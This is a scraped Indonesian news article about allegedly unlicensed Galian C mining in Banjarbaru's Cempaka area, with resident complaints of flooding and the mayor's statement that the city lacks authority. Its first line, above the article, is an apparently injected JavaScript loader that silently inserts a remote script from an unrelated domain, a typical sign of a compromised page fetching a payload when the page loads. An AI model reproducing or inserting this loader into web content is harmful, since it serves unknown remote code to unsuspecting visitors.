(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Diduga Tanpa Izin, Galian C di Sungai Ulin dan Cempaka Beroperasi Lebih dari 7 Tahun


KANALKALIMANTAN.COM, BANJARBARU – Aktivitas tambang Galian C di Kota Banjarbaru diduga tanpa izin alias tak resmi tapi tetap beroperasi.

Seperti di sekitar Komplek Villa Asri Banjarbaru lebih tepatnya di sekitar Bukit Lentera Cempaka.

Aktivitas tambang Galian C masih marak dijumpai di kawasan perbukitan antara wilayah Banjarbaru Selatan dan Cempeka tersebut.

Baca juga: Wajah Baru Kapal Wisata Susur Sungai, Carter Keliling hingga Trip ke Lok Baintan 

 

 

Warga mengeluh ketika hujan turun di daerah Cempaka dan sekitarnya dilanda banjir, diduga akibat aktivitas tambang Galian C tak berizin.

Dari pantauan Kanalkalimantan.com, Senin (26/9/2022) sekira pukul 16.00 Wita ada beberapa truk dump yang mengangkut tanah merah di sekitar belakang Komplek Villa Asri Cempaka. Tanah merah itu kemudian diangkut melewati jalan tanah dan keluar di daerah Sungai Ulin, Banjarbaru.

Salah seorang warga sekitar, Jani mengatakan, aktivitas Galian C di kawasan itu sudah berjalan lama lebih dari 7 tahun. Padahal setahu dirinya, di Banjarbaru aktivitas Galian C dilarang beroperasi.

“Seharusnya ada tindakan tegas dari pemerintah, Galian C tidak diperbolehkan lagi, tapi di lapangan terus beroperasi melakukan pengerukan tanah merah,” kata Jani.

Baca juga: Program Remaja Teman Sebaya BNNK Banjarbaru, Ikhtiar Lawan Narkotika di Kalangan Anak Muda

Menurut warga ini, dengan adanya aktivitas pengerukan tanah untuk urukan atau Galian C membuat wilayah Cempaka kehilangan lahan resapan air. Akhirnya air hujan dengan cepat turun ke permukiman warga.

“Karena tidak ada lagi yang meresap bila hujan, air cepat turun ke komplek-komplek di sekitar atau di bawahnya,” tambahnya.

Terkait kondisi tersebut, Wali Kota Banjarbaru, Aditya Mufti Ariffin menegaskan Banjarbaru sendiri tidak ada tupoksi (tugas pokok dan fungsi) terkait pertambangan.

“Kita tidak ada tupoksi, yang ada di provinsi dan pusat,” katanya usai pelantikan pejabat fungsional di aula Gawi Sabarataan, Senin (26/9/2022).

Aditya memastikan tupoksi tambang Galian C baik yang beroperasi dan yang ditinggalkan bukan kewenangan dari Pemerintah Kota (Pemko) Banjarbaru.

“Kita tidak ada kewenangan, itu yang pastinya,” tegasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.